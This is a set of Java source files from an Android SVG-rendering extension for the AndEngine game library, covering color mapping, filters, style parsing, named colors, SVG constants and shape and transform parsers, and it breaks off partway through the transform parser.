* @author Nicolas Gramlich
* @since 09:21:33 - 25.05.2011
*/
public class SVGDirectColorMapper implements ISVGColorMapper {
// ===========================================================
// Constants
// ===========================================================
// ===========================================================
// Fields
// ===========================================================
private final HashMap<Integer, Integer> mColorMappings = new HashMap<Integer, Integer>();
// ===========================================================
// Constructors
// ===========================================================
public SVGDirectColorMapper() {
}
public SVGDirectColorMapper(final Integer pColorFrom, final Integer pColorTo) {
this.addColorMapping(pColorFrom, pColorTo);
}
// ===========================================================
// Getter & Setter
// ===========================================================
// ===========================================================
// Methods for/from SuperClass/Interfaces
// ===========================================================
// ===========================================================
// Methods
// ===========================================================
public void addColorMapping(final Integer pColorFrom, final Integer pColorTo) {
this.mColorMappings.put(pColorFrom, pColorTo);
}
@Override
public Integer mapColor(final Integer pColor) {
final Integer mappedColor = this.mColorMappings.get(pColor);
if(mappedColor == null) {
return pColor;
} else {
return mappedColor;
}
}
// ===========================================================
// Inner and Anonymous Classes
// ===========================================================
}
| Java |
package org.anddev.andengine.extension.svg.adt.filter;
import java.util.ArrayList;
import java.util.HashMap;
import org.anddev.andengine.extension.svg.adt.SVGAttributes;
import org.anddev.andengine.extension.svg.adt.filter.element.ISVGFilterElement;
import org.anddev.andengine.extension.svg.exception.SVGParseException;
import org.anddev.andengine.extension.svg.util.SVGParserUtils;
import org.anddev.andengine.extension.svg.util.constants.ISVGConstants;
import org.xml.sax.Attributes;
import android.graphics.Paint;
/**
* @author Nicolas Gramlich
* @since 15:12:03 - 26.05.2011
*/
public class SVGFilter implements ISVGConstants {
// ===========================================================
// Constants
// ===========================================================
// ===========================================================
// Fields
// ===========================================================
private final String mID;
private final String mHref;
private SVGFilter mParent;
private final SVGAttributes mSVGAttributes;
private final ArrayList<ISVGFilterElement> mSVGFilterElements = new ArrayList<ISVGFilterElement>();
// ===========================================================
// Constructors
// ===========================================================
public SVGFilter(final String pID, final Attributes pAttributes) {
this.mID = pID;
this.mHref = SVGParserUtils.parseHref(pAttributes);
this.mSVGAttributes = new SVGAttributes(pAttributes, true);
}
// ===========================================================
// Getter & Setter
// ===========================================================
public String getID() {
return this.mID;
}
public String getHref() {
return this.mHref;
}
public boolean hasHref() {
return this.mHref != null;
}
public boolean hasHrefResolved() {
return this.mHref == null || this.mParent != null;
}
// ===========================================================
// Methods for/from SuperClass/Interfaces
// ===========================================================
// ===========================================================
// Methods
// ===========================================================
public void ensureHrefResolved(final HashMap<String, SVGFilter> pSVGFilterMap) {
if(!this.hasHrefResolved()) {
this.resolveHref(pSVGFilterMap);
}
}
private void resolveHref(final HashMap<String, SVGFilter> pSVGFilterMap) {
final SVGFilter parent = pSVGFilterMap.get(this.mHref);
if(parent == null) {
throw new SVGParseException("Could not resolve href: '" + this.mHref + "' of SVGGradient: '" + this.mID + "'.");
} else {
parent.ensureHrefResolved(pSVGFilterMap);
this.mParent = parent;
this.mSVGAttributes.setParentSVGAttributes(this.mParent.mSVGAttributes);
}
}
public void applyFilterElements(final Paint pPaint) {
this.mSVGAttributes.getFloatAttribute(ATTRIBUTE_X, true);
final ArrayList<ISVGFilterElement> svgFilterElements = this.mSVGFilterElements;
for(int i = 0; i < svgFilterElements.size(); i++) {
svgFilterElements.get(i).apply(pPaint);
}
}
public void addFilterElement(final ISVGFilterElement pSVGFilterElement) {
this.mSVGFilterElements.add(pSVGFilterElement);
}
// ===========================================================
// Inner and Anonymous Classes
// ===========================================================
}
| Java |
package org.anddev.andengine.extension.svg.adt.filter.element;
import android.graphics.Paint;
/**
* @author Nicolas Gramlich
* @since 16:54:15 - 26.05.2011
*/
public interface ISVGFilterElement {
// ===========================================================
// Constants
// ===========================================================
// ===========================================================
// Methods
// ===========================================================
public void apply(final Paint pPaint);
}
| Java |
package org.anddev.andengine.extension.svg.adt.filter.element;
import android.graphics.BlurMaskFilter;
import android.graphics.BlurMaskFilter.Blur;
import android.graphics.Paint;
/**
* @author Nicolas Gramlich
* @since 16:55:28 - 26.05.2011
*/
public class SVGFilterElementGaussianBlur implements ISVGFilterElement {
// ===========================================================
// Constants
// ===========================================================
// ===========================================================
// Fields
// ===========================================================
private final BlurMaskFilter mBlurMaskFilter;
// ===========================================================
// Constructors
// ===========================================================
public SVGFilterElementGaussianBlur(final float pStandardDeviation) {
final float radius = pStandardDeviation * 2;
this.mBlurMaskFilter = new BlurMaskFilter(radius, Blur.NORMAL);
}
// ===========================================================
// Getter & Setter
// ===========================================================
// ===========================================================
// Methods for/from SuperClass/Interfaces
// ===========================================================
@Override
public void apply(final Paint pPaint) {
pPaint.setMaskFilter(this.mBlurMaskFilter);
}
// ===========================================================
// Methods
// ===========================================================
// ===========================================================
// Inner and Anonymous Classes
// ===========================================================
}
| Java |
package org.anddev.andengine.extension.svg.adt;
/**
* @author Nicolas Gramlich
* @since 09:39:32 - 25.05.2011
*/
public interface ISVGColorMapper {
// ===========================================================
// Final Fields
// ===========================================================
// ===========================================================
// Methods
// ===========================================================
public Integer mapColor(final Integer pColor);
}
| Java |
package org.anddev.andengine.extension.svg.adt;
import org.anddev.andengine.extension.svg.util.constants.ISVGConstants;
/**
* @author Nicolas Gramlich
* @since 12:58:32 - 24.05.2011
*/
public class SVGGroup implements ISVGConstants {
// ===========================================================
// Constants
// ===========================================================
// ===========================================================
// Fields
// ===========================================================
private final SVGGroup mSVGroupParent;
private final SVGProperties mSVGProperties;
private final boolean mHasTransform;
private final boolean mHidden;
// ===========================================================
// Constructors
// ===========================================================
public SVGGroup(final SVGGroup pSVGroupParent, final SVGProperties pSVGProperties, final boolean pHasTransform) {
this.mSVGroupParent = pSVGroupParent;
this.mSVGProperties = pSVGProperties;
this.mHasTransform = pHasTransform;
this.mHidden = (this.mSVGroupParent != null && this.mSVGroupParent.isHidden()) || this.isDisplayNone();
}
// ===========================================================
// Getter & Setter
// ===========================================================
public boolean hasTransform() {
return this.mHasTransform;
}
public SVGProperties getSVGProperties() {
return this.mSVGProperties;
}
public boolean isHidden() {
return this.mHidden;
}
// ===========================================================
// Methods for/from SuperClass/Interfaces
// ===========================================================
// ===========================================================
// Methods
// ===========================================================
private boolean isDisplayNone() {
return VALUE_NONE.equals(this.mSVGProperties.getStringProperty(ATTRIBUTE_DISPLAY, false));
}
// ===========================================================
// Inner and Anonymous Classes
// ===========================================================
}
| Java |
package org.anddev.andengine.extension.svg.adt;
import java.util.HashMap;
/**
* @author Larva Labs, LLC
* @author Nicolas Gramlich
* @since 16:49:43 - 21.05.2011
*/
public class SVGStyleSet {
// ===========================================================
// Constants
// ===========================================================
// ===========================================================
// Fields
// ===========================================================
private final HashMap<String, String> mStyleMap = new HashMap<String, String>();
// ===========================================================
// Constructors
// ===========================================================
public SVGStyleSet(final String pString) {
final String[] styles = pString.split(";");
for (final String s : styles) {
final String[] style = s.split(":");
if (style.length == 2) {
this.mStyleMap.put(style[0], style[1]);
}
}
}
// ===========================================================
// Getter & Setter
// ===========================================================
public String getStyle(final String pStyleName) {
return this.mStyleMap.get(pStyleName);
}
// ===========================================================
// Methods for/from SuperClass/Interfaces
// ===========================================================
// ===========================================================
// Methods
// ===========================================================
// ===========================================================
// Inner and Anonymous Classes
// ===========================================================
} | Java |
package org.anddev.andengine.extension.svg;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.InputStream;
import javax.xml.parsers.SAXParser;
import javax.xml.parsers.SAXParserFactory;
import org.anddev.andengine.extension.svg.adt.ISVGColorMapper;
import org.anddev.andengine.extension.svg.adt.SVG;
import org.anddev.andengine.extension.svg.exception.SVGParseException;
import org.xml.sax.InputSource;
import org.xml.sax.XMLReader;
import android.content.res.AssetManager;
import android.content.res.Resources;
import android.graphics.Picture;
/**
* TODO Eventually add support for ".svgz" format. (Not totally useful as the apk itself gets zipped anyway. But might be useful, when loading from an external source.)
*
* @author Larva Labs, LLC
* @author Nicolas Gramlich
* @since 17:00:16 - 21.05.2011
*/
public class SVGParser {
// ===========================================================
// Constants
// ===========================================================
// ===========================================================
// Fields
// ===========================================================
// ===========================================================
// Constructors
// ===========================================================
public static SVG parseSVGFromString(final String pString) throws SVGParseException {
return SVGParser.parseSVGFromString(pString, null);
}
public static SVG parseSVGFromString(final String pString, final ISVGColorMapper pSVGColorMapper) throws SVGParseException {
return SVGParser.parseSVGFromInputStream(new ByteArrayInputStream(pString.getBytes()), pSVGColorMapper);
}
public static SVG parseSVGFromResource(final Resources pResources, final int pRawResourceID) throws SVGParseException {
return SVGParser.parseSVGFromResource(pResources, pRawResourceID, null);
}
public static SVG parseSVGFromResource(final Resources pResources, final int pRawResourceID, final ISVGColorMapper pSVGColorMapper) throws SVGParseException {
return SVGParser.parseSVGFromInputStream(pResources.openRawResource(pRawResourceID), pSVGColorMapper);
}
public static SVG parseSVGFromAsset(final AssetManager pAssetManager, final String pAssetPath) throws SVGParseException, IOException {
return SVGParser.parseSVGFromAsset(pAssetManager, pAssetPath, null);
}
public static SVG parseSVGFromAsset(final AssetManager pAssetManager, final String pAssetPath, final ISVGColorMapper pSVGColorMapper) throws SVGParseException, IOException {
final InputStream inputStream = pAssetManager.open(pAssetPath);
final SVG svg = SVGParser.parseSVGFromInputStream(inputStream, pSVGColorMapper);
inputStream.close();
return svg;
}
// ===========================================================
// Getter & Setter
// ===========================================================
// ===========================================================
// Methods for/from SuperClass/Interfaces
// ===========================================================
// ===========================================================
// Methods
// ===========================================================
public static SVG parseSVGFromInputStream(final InputStream pInputStream, final ISVGColorMapper pSVGColorMapper) throws SVGParseException {
try {
final SAXParserFactory spf = SAXParserFactory.newInstance();
final SAXParser sp = spf.newSAXParser();
final XMLReader xr = sp.getXMLReader();
final Picture picture = new Picture();
final SVGHandler svgHandler = new SVGHandler(picture, pSVGColorMapper);
xr.setContentHandler(svgHandler);
xr.parse(new InputSource(pInputStream));
final SVG svg = new SVG(picture, svgHandler.getBounds(), svgHandler.getComputedBounds());
return svg;
} catch (final Exception e) {
throw new SVGParseException(e);
}
}
// ===========================================================
// Inner and Anonymous Classes
// ===========================================================
}
| Java |
package org.anddev.andengine.extension.svg.util.constants;
import java.util.HashMap;
import java.util.regex.Pattern;
/**
* @author Nicolas Gramlich
* @since 22:22:08 - 23.05.2011
*/
public class ColorUtils {
// ===========================================================
// Constants
// ===========================================================
public static final int COLOR_MASK_32BIT_ARGB_ALPHA = 0xFF000000;
public static final int COLOR_MASK_32BIT_ARGB_RGB = 0xFFFFFF;
public static final int COLOR_MASK_32BIT_ARGB_R = 0xFF0000;
public static final int COLOR_MASK_32BIT_ARGB_G = 0x00FF00;
public static final int COLOR_MASK_32BIT_ARGB_B = 0x0000FF;
public static final int COLOR_MASK_12BIT_RGB_R = 0xF00;
public static final int COLOR_MASK_12BIT_RGB_G = 0x0F0;
public static final int COLOR_MASK_12BIT_RGB_B = 0x00F;
public static final Pattern RGB_PATTERN = Pattern.compile("rgb\\((.*[\\d]+),.*([\\d]+),.*([\\d]+).*\\)");
private static HashMap<String, Integer> NAMED_COLORS = new HashMap<String, Integer>();
static {
// TODO With Java7 a switch on the string might perform better.
NAMED_COLORS.put("aliceblue", 0xf0f8ff);
NAMED_COLORS.put("antiquewhite", 0xfaebd7);
NAMED_COLORS.put("aqua", 0x00ffff);
NAMED_COLORS.put("aquamarine", 0x7fffd4);
NAMED_COLORS.put("azure", 0xf0ffff);
NAMED_COLORS.put("beige", 0xf5f5dc);
NAMED_COLORS.put("bisque", 0xffe4c4);
NAMED_COLORS.put("black", 0x000000);
NAMED_COLORS.put("blanchedalmond", 0xffebcd);
NAMED_COLORS.put("blue", 0x0000ff);
NAMED_COLORS.put("blueviolet", 0x8a2be2);
NAMED_COLORS.put("brown", 0xa52a2a);
NAMED_COLORS.put("burlywood", 0xdeb887);
NAMED_COLORS.put("cadetblue", 0x5f9ea0);
NAMED_COLORS.put("chartreuse", 0x7fff00);
NAMED_COLORS.put("chocolate", 0xd2691e);
NAMED_COLORS.put("coral", 0xff7f50);
NAMED_COLORS.put("cornflowerblue", 0x6495ed);
NAMED_COLORS.put("cornsilk", 0xfff8dc);
NAMED_COLORS.put("crimson", 0xdc143c);
NAMED_COLORS.put("cyan", 0x00ffff);
NAMED_COLORS.put("darkblue", 0x00008b);
NAMED_COLORS.put("darkcyan", 0x008b8b);
NAMED_COLORS.put("darkgoldenrod", 0xb8860b);
NAMED_COLORS.put("darkgray", 0xa9a9a9);
NAMED_COLORS.put("darkgreen", 0x006400);
NAMED_COLORS.put("darkgrey", 0xa9a9a9);
NAMED_COLORS.put("darkkhaki", 0xbdb76b);
NAMED_COLORS.put("darkmagenta", 0x8b008b);
NAMED_COLORS.put("darkolivegreen", 0x556b2f);
NAMED_COLORS.put("darkorange", 0xff8c00);
NAMED_COLORS.put("darkorchid", 0x9932cc);
NAMED_COLORS.put("darkred", 0x8b0000);
NAMED_COLORS.put("darksalmon", 0xe9967a);
NAMED_COLORS.put("darkseagreen", 0x8fbc8f);
NAMED_COLORS.put("darkslateblue", 0x483d8b);
NAMED_COLORS.put("darkslategray", 0x2f4f4f);
NAMED_COLORS.put("darkslategrey", 0x2f4f4f);
NAMED_COLORS.put("darkturquoise", 0x00ced1);
NAMED_COLORS.put("darkviolet", 0x9400d3);
NAMED_COLORS.put("deeppink", 0xff1493);
NAMED_COLORS.put("deepskyblue", 0x00bfff);
NAMED_COLORS.put("dimgray", 0x696969);
NAMED_COLORS.put("dimgrey", 0x696969);
NAMED_COLORS.put("dodgerblue", 0x1e90ff);
NAMED_COLORS.put("firebrick", 0xb22222);
NAMED_COLORS.put("floralwhite", 0xfffaf0);
NAMED_COLORS.put("forestgreen", 0x228b22);
NAMED_COLORS.put("fuchsia", 0xff00ff);
NAMED_COLORS.put("gainsboro", 0xdcdcdc);
NAMED_COLORS.put("ghostwhite", 0xf8f8ff);
NAMED_COLORS.put("gold", 0xffd700);
NAMED_COLORS.put("goldenrod", 0xdaa520);
NAMED_COLORS.put("gray", 0x808080);
NAMED_COLORS.put("green", 0x008000);
NAMED_COLORS.put("greenyellow", 0xadff2f);
NAMED_COLORS.put("grey", 0x808080);
NAMED_COLORS.put("honeydew", 0xf0fff0);
NAMED_COLORS.put("hotpink", 0xff69b4);
NAMED_COLORS.put("indianred", 0xcd5c5c);
NAMED_COLORS.put("indigo", 0x4b0082);
NAMED_COLORS.put("ivory", 0xfffff0);
NAMED_COLORS.put("khaki", 0xf0e68c);
NAMED_COLORS.put("lavender", 0xe6e6fa);
NAMED_COLORS.put("lavenderblush", 0xfff0f5);
NAMED_COLORS.put("lawngreen", 0x7cfc00);
NAMED_COLORS.put("lemonchiffon", 0xfffacd);
NAMED_COLORS.put("lightblue", 0xadd8e6);
NAMED_COLORS.put("lightcoral", 0xf08080);
NAMED_COLORS.put("lightcyan", 0xe0ffff);
NAMED_COLORS.put("lightgoldenrodyellow", 0xfafad2);
NAMED_COLORS.put("lightgray", 0xd3d3d3);
NAMED_COLORS.put("lightgreen", 0x90ee90);
NAMED_COLORS.put("lightgrey", 0xd3d3d3);
NAMED_COLORS.put("lightpink", 0xffb6c1);
NAMED_COLORS.put("lightsalmon", 0xffa07a);
NAMED_COLORS.put("lightseagreen", 0x20b2aa);
NAMED_COLORS.put("lightskyblue", 0x87cefa);
NAMED_COLORS.put("lightslategray", 0x778899);
NAMED_COLORS.put("lightslategrey", 0x778899);
NAMED_COLORS.put("lightsteelblue", 0xb0c4de);
NAMED_COLORS.put("lightyellow", 0xffffe0);
NAMED_COLORS.put("lime", 0x00ff00);
NAMED_COLORS.put("limegreen", 0x32cd32);
NAMED_COLORS.put("linen", 0xfaf0e6);
NAMED_COLORS.put("magenta", 0xff00ff);
NAMED_COLORS.put("maroon", 0x800000);
NAMED_COLORS.put("mediumaquamarine", 0x66cdaa);
NAMED_COLORS.put("mediumblue", 0x0000cd);
NAMED_COLORS.put("mediumorchid", 0xba55d3);
NAMED_COLORS.put("mediumpurple", 0x9370db);
NAMED_COLORS.put("mediumseagreen", 0x3cb371);
NAMED_COLORS.put("mediumslateblue", 0x7b68ee);
NAMED_COLORS.put("mediumspringgreen", 0x00fa9a);
NAMED_COLORS.put("mediumturquoise", 0x48d1cc);
NAMED_COLORS.put("mediumvioletred", 0xc71585);
NAMED_COLORS.put("midnightblue", 0x191970);
NAMED_COLORS.put("mintcream", 0xf5fffa);
NAMED_COLORS.put("mistyrose", 0xffe4e1);
NAMED_COLORS.put("moccasin", 0xffe4b5);
NAMED_COLORS.put("navajowhite", 0xffdead);
NAMED_COLORS.put("navy", 0x000080);
NAMED_COLORS.put("oldlace", 0xfdf5e6);
NAMED_COLORS.put("olive", 0x808000);
NAMED_COLORS.put("olivedrab", 0x6b8e23);
NAMED_COLORS.put("orange", 0xffa500);
NAMED_COLORS.put("orangered", 0xff4500);
NAMED_COLORS.put("orchid", 0xda70d6);
NAMED_COLORS.put("palegoldenrod", 0xeee8aa);
NAMED_COLORS.put("palegreen", 0x98fb98);
NAMED_COLORS.put("paleturquoise", 0xafeeee);
NAMED_COLORS.put("palevioletred", 0xdb7093);
NAMED_COLORS.put("papayawhip", 0xffefd5);
NAMED_COLORS.put("peachpuff", 0xffdab9);
NAMED_COLORS.put("peru", 0xcd853f);
NAMED_COLORS.put("pink", 0xffc0cb);
NAMED_COLORS.put("plum", 0xdda0dd);
NAMED_COLORS.put("powderblue", 0xb0e0e6);
NAMED_COLORS.put("purple", 0x800080);
NAMED_COLORS.put("red", 0xff0000);
NAMED_COLORS.put("rosybrown", 0xbc8f8f);
NAMED_COLORS.put("royalblue", 0x4169e1);
NAMED_COLORS.put("saddlebrown", 0x8b4513);
NAMED_COLORS.put("salmon", 0xfa8072);
NAMED_COLORS.put("sandybrown", 0xf4a460);
NAMED_COLORS.put("seagreen", 0x2e8b57);
NAMED_COLORS.put("seashell", 0xfff5ee);
NAMED_COLORS.put("sienna", 0xa0522d);
NAMED_COLORS.put("silver", 0xc0c0c0);
NAMED_COLORS.put("skyblue", 0x87ceeb);
NAMED_COLORS.put("slateblue", 0x6a5acd);
NAMED_COLORS.put("slategray", 0x708090);
NAMED_COLORS.put("slategrey", 0x708090);
NAMED_COLORS.put("snow", 0xfffafa);
NAMED_COLORS.put("springgreen", 0x00ff7f);
NAMED_COLORS.put("steelblue", 0x4682b4);
NAMED_COLORS.put("tan", 0xd2b48c);
NAMED_COLORS.put("teal", 0x008080);
NAMED_COLORS.put("thistle", 0xd8bfd8);
NAMED_COLORS.put("tomato", 0xff6347);
NAMED_COLORS.put("turquoise", 0x40e0d0);
NAMED_COLORS.put("violet", 0xee82ee);
NAMED_COLORS.put("wheat", 0xf5deb3);
NAMED_COLORS.put("white", 0xffffff);
NAMED_COLORS.put("whitesmoke", 0xf5f5f5);
NAMED_COLORS.put("yellow", 0xffff00);
NAMED_COLORS.put("yellowgreen", 0x9acd32);
}
// ===========================================================
// Fields
// ===========================================================
// ===========================================================
// Constructors
// ===========================================================
// ===========================================================
// Getter & Setter
// ===========================================================
// ===========================================================
// Methods for/from SuperClass/Interfaces
// ===========================================================
// ===========================================================
// Methods
// ===========================================================
public static Integer getColorByName(final String pColorName) {
return NAMED_COLORS.get(pColorName);
}
// ===========================================================
// Inner and Anonymous Classes
// ===========================================================
}
| Java |
package org.anddev.andengine.extension.svg.util.constants;
/**
* @author Nicolas Gramlich
* @since 13:44:22 - 26.05.2011
*/
public interface ISVGConstants {
// ===========================================================
// Final Fields
// ===========================================================
public static final String UNIT_PX = "px";
public static final String VALUE_NONE = "none";
public static final String TAG_SVG = "svg";
public static final String TAG_DEFS = "defs";
public static final String TAG_LINEARGRADIENT = "linearGradient";
public static final String TAG_RADIALGRADIENT = "radialGradient";
public static final String TAG_FILTER = "filter";
public static final String TAG_FILTER_ELEMENT_FEGAUSSIANBLUR = "feGaussianBlur";
public static final String TAG_STOP = "stop";
public static final String TAG_GROUP = "g";
public static final String TAG_CIRCLE = "circle";
public static final String TAG_ELLIPSE = "ellipse";
public static final String TAG_LINE = "line";
public static final String TAG_PATH = "path";
public static final String TAG_POLYGON = "polygon";
public static final String TAG_POLYLINE = "polyline";
public static final String TAG_RECTANGLE = "rect";
public static final String ATTRIBUTE_ID = "id";
public static final String ATTRIBUTE_HREF = "href";
public static final String ATTRIBUTE_STYLE = "style";
public static final String ATTRIBUTE_DISPLAY = "display";
public static final String ATTRIBUTE_X = "x";
public static final String ATTRIBUTE_Y = "y";
public static final String ATTRIBUTE_X1 = "x1";
public static final String ATTRIBUTE_Y1 = "y1";
public static final String ATTRIBUTE_X2 = "x2";
public static final String ATTRIBUTE_Y2 = "y2";
public static final String ATTRIBUTE_WIDTH = "width";
public static final String ATTRIBUTE_HEIGHT = "height";
public static final String ATTRIBUTE_CENTER_X = "cx";
public static final String ATTRIBUTE_CENTER_Y = "cy";
public static final String ATTRIBUTE_RADIUS = "r";
public static final String ATTRIBUTE_RADIUS_X = "rx";
public static final String ATTRIBUTE_RADIUS_Y = "ry";
public static final String ATTRIBUTE_TRANSFORM = "transform";
public static final String ATTRIBUTE_TRANSFORM_VALUE_ROTATE = "rotate";
public static final String ATTRIBUTE_TRANSFORM_VALUE_SKEW_Y = "skewY";
public static final String ATTRIBUTE_TRANSFORM_VALUE_SKEW_X = "skewX";
public static final String ATTRIBUTE_TRANSFORM_VALUE_SCALE = "scale";
public static final String ATTRIBUTE_TRANSFORM_VALUE_TRANSLATE = "translate";
public static final String ATTRIBUTE_TRANSFORM_VALUE_MATRIX = "matrix";
public static final String ATTRIBUTE_POINTS = "points";
public static final String ATTRIBUTE_PATHDATA = "d";
public static final String ATTRIBUTE_FILLRULE = "fill-rule";
public static final String ATTRIBUTE_FILLRULE_VALUE_EVENODD = "evenodd";
public static final String ATTRIBUTE_FILTER_ELEMENT_FEGAUSSIANBLUR_STANDARDDEVIATION = "stdDeviation";
public static final String ATTRIBUTE_SPREADMETHOD = "speardMethod";
public static final String ATTRIBUTE_SPREADMETHOD_VALUE_PAD = "pad";
public static final String ATTRIBUTE_SPREADMETHOD_VALUE_REFLECT = "reflect";
public static final String ATTRIBUTE_SPREADMETHOD_VALUE_REPEAT = "repeat";
public static final String ATTRIBUTE_GRADIENT_TRANSFORM = "gradientTransform";
public static final String ATTRIBUTE_STOP_OPACITY = "stop-opacity";
public static final String ATTRIBUTE_STOP_COLOR = "stop-color";
public static final String ATTRIBUTE_OFFSET = "offset";
public static final String ATTRIBUTE_OPACITY = "opacity";
public static final String ATTRIBUTE_FILTER = "filter";
public static final String ATTRIBUTE_FILL = "fill";
public static final String ATTRIBUTE_FILL_OPACITY = "fill-opacity";
public static final String ATTRIBUTE_STROKE = "stroke";
public static final String ATTRIBUTE_STROKE_OPACITY = "stroke-opacity";
public static final String ATTRIBUTE_STROKE_WIDTH = "stroke-width";
public static final String ATTRIBUTE_STROKE_LINECAP_VALUE_BUTT = "butt";
public static final String ATTRIBUTE_STROKE_LINECAP_VALUE_SQUARE = "square";
public static final String ATTRIBUTE_STROKE_LINECAP_VALUE_ROUND = "round";
public static final String ATTRIBUTE_STROKE_LINEJOIN_VALUE_BEVEL = "bevel";
public static final String ATTRIBUTE_STROKE_LINEJOIN_VALUE_ROUND = ATTRIBUTE_STROKE_LINECAP_VALUE_ROUND;
public static final String ATTRIBUTE_STROKE_LINEJOIN_VALUE_MITER = "miter";
public static final String ATTRIBUTE_STROKE_LINEJOIN_VALUE_ = "stroke-linejoin";
public static final String ATTRIBUTE_STROKE_LINECAP = "stroke-linecap";
// ===========================================================
// Methods
// ===========================================================
}
| Java |
package org.anddev.andengine.extension.svg.util.constants;
/**
* @author Nicolas Gramlich
* @since 12:13:38 - 24.05.2011
*/
public class MathUtils {
// ===========================================================
// Constants
// ===========================================================
public static final double[] POWERS_OF_10 = new double[128];
static {
for (int i = 0; i < POWERS_OF_10.length; i++) {
POWERS_OF_10[i] = Math.pow(10, i);
}
}
// ===========================================================
// Fields
// ===========================================================
// ===========================================================
// Constructors
// ===========================================================
// ===========================================================
// Getter & Setter
// ===========================================================
// ===========================================================
// Methods for/from SuperClass/Interfaces
// ===========================================================
// ===========================================================
// Methods
// ===========================================================
// ===========================================================
// Inner and Anonymous Classes
// ===========================================================
}
| Java |
package org.anddev.andengine.extension.svg.util;
import org.anddev.andengine.extension.svg.adt.SVGPaint;
import org.anddev.andengine.extension.svg.adt.SVGProperties;
import org.anddev.andengine.extension.svg.util.SVGNumberParser.SVGNumberParserFloatResult;
import org.anddev.andengine.extension.svg.util.constants.ISVGConstants;
import android.graphics.Canvas;
import android.graphics.Path;
/**
* @author Nicolas Gramlich
* @since 19:23:07 - 24.05.2011
*/
public class SVGPolylineParser implements ISVGConstants {
// ===========================================================
// Constants
// ===========================================================
// ===========================================================
// Fields
// ===========================================================
// ===========================================================
// Constructors
// ===========================================================
// ===========================================================
// Getter & Setter
// ===========================================================
// ===========================================================
// Methods for/from SuperClass/Interfaces
// ===========================================================
// ===========================================================
// Methods
// ===========================================================
public static void parse(final SVGProperties pSVGProperties, final Canvas pCanvas, final SVGPaint pSVGPaint) {
final SVGNumberParserFloatResult svgNumberParserFloatResult = SVGNumberParser.parseFloats(pSVGProperties.getStringAttribute(ATTRIBUTE_POINTS));
if (svgNumberParserFloatResult != null) {
final float[] points = svgNumberParserFloatResult.getNumbers();
if (points.length >= 2) {
final Path path = SVGPolylineParser.parse(points);
final boolean fill = pSVGPaint.setFill(pSVGProperties);
if (fill) {
pCanvas.drawPath(path, pSVGPaint.getPaint());
}
final boolean stroke = pSVGPaint.setStroke(pSVGProperties);
if (stroke) {
pCanvas.drawPath(path, pSVGPaint.getPaint());
}
if(fill || stroke) {
pSVGPaint.ensureComputedBoundsInclude(path);
}
}
}
}
static Path parse(final float[] pPoints) {
final Path path = new Path();
path.moveTo(pPoints[0], pPoints[1]);
for (int i = 2; i < pPoints.length; i += 2) {
final float x = pPoints[i];
final float y = pPoints[i + 1];
path.lineTo(x, y);
}
return path;
}
// ===========================================================
// Inner and Anonymous Classes
// ===========================================================
}
| Java |
package org.anddev.andengine.extension.svg.util;
import org.anddev.andengine.extension.svg.adt.SVGPaint;
import org.anddev.andengine.extension.svg.adt.SVGProperties;
import org.anddev.andengine.extension.svg.util.constants.ISVGConstants;
import android.graphics.Canvas;
/**
* @author Nicolas Gramlich
* @since 19:55:18 - 25.05.2011
*/
public class SVGCircleParser implements ISVGConstants {
// ===========================================================
// Constants
// ===========================================================
// ===========================================================
// Fields
// ===========================================================
// ===========================================================
// Constructors
// ===========================================================
// ===========================================================
// Getter & Setter
// ===========================================================
// ===========================================================
// Methods for/from SuperClass/Interfaces
// ===========================================================
// ===========================================================
// Methods
// ===========================================================
public static void parse(final SVGProperties pSVGProperties, final Canvas pCanvas, final SVGPaint pSVGPaint) {
final Float centerX = pSVGProperties.getFloatAttribute(ATTRIBUTE_CENTER_X);
final Float centerY = pSVGProperties.getFloatAttribute(ATTRIBUTE_CENTER_Y);
final Float radius = pSVGProperties.getFloatAttribute(ATTRIBUTE_RADIUS);
if (centerX != null && centerY != null && radius != null) {
final boolean fill = pSVGPaint.setFill(pSVGProperties);
if (fill) {
pCanvas.drawCircle(centerX, centerY, radius, pSVGPaint.getPaint());
}
final boolean stroke = pSVGPaint.setStroke(pSVGProperties);
if (stroke) {
pCanvas.drawCircle(centerX, centerY, radius, pSVGPaint.getPaint());
}
if(fill || stroke) {
pSVGPaint.ensureComputedBoundsInclude(centerX - radius, centerY - radius);
pSVGPaint.ensureComputedBoundsInclude(centerX + radius, centerY + radius);
}
}
}
// ===========================================================
// Inner and Anonymous Classes
// ===========================================================
}
| Java |
package org.anddev.andengine.extension.svg.util;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import org.anddev.andengine.extension.svg.exception.SVGParseException;
import org.anddev.andengine.extension.svg.util.SVGNumberParser.SVGNumberParserFloatResult;
import org.anddev.andengine.extension.svg.util.constants.ISVGConstants;
import android.graphics.Matrix;
/**
* @author Larva Labs, LLC
* @author Nicolas Gramlich
* @since 16:56:54 - 21.05.2011
*/
public class SVGTransformParser implements ISVGConstants {
// ===========================================================
// Constants
// ===========================================================
private static final Pattern MULTITRANSFORM_PATTERN = Pattern.compile("(\\w+\\([\\d\\s\\-eE,]*\\))");
// ===========================================================
// Fields
// ===========================================================
// ===========================================================
// Constructors
// ===========================================================
// ===========================================================
// Getter & Setter
// ===========================================================
// ===========================================================
// Methods for/from SuperClass/Interfaces
// ===========================================================
// ===========================================================
// Methods
// ===========================================================
public static Matrix parseTransform(final String pString) {
if(pString == null) {
return null;
}
/* If ')' is contained only once, we have a simple/single transform.
* Otherwise, we have to split multi-transforms like this:
* "translate(-10,-20) scale(2) rotate(45) translate(5,10)". */
final boolean singleTransform = pString.indexOf(')') == pString.lastIndexOf(')');
if(singleTransform) {
return SVGTransformParser.parseSingleTransform(pString);
} else {
return SVGTransformParser.parseMultiTransform(pString);
}
}
private static Matrix parseMultiTransform(final String pString) {
final Matcher matcher = MULTITRANSFORM_PATTERN.matcher(pString);
final Matrix matrix = new Matrix();
while(matcher.find()) {
matrix.preConcat(SVGTransformParser.parseSingleTransform(matcher.group(1)));
}
return matrix;
}
private static Matrix parseSingleTransform(final String pString) {
try {
if (pString.startsWith(ATTRIBUTE_TRANSFORM_VALUE_MATRIX)) {
return SVGTransformParser.parseTransformMatrix(pString);
} else if (pString.startsWith(ATTRIBUTE_TRANSFORM_VALUE_TRANSLATE)) {
return SVGTransformParser.parseTransformTranslate(pString);
} else if (pString.startsWith(ATTRIBUTE_TRANSFORM_VALUE_SCALE)) {
return SVGTransformParser.parseTransformScale(pString);
} else if (pString.startsWith(ATTRIBUTE_TRANSFORM_VALUE_SKEW_X)) {
return SVGTransformParser.parseTransformSkewX(pString);
} else if (pString.startsWith(ATTRIBUTE_TRANSFORM_VALUE_SKEW_Y)) {
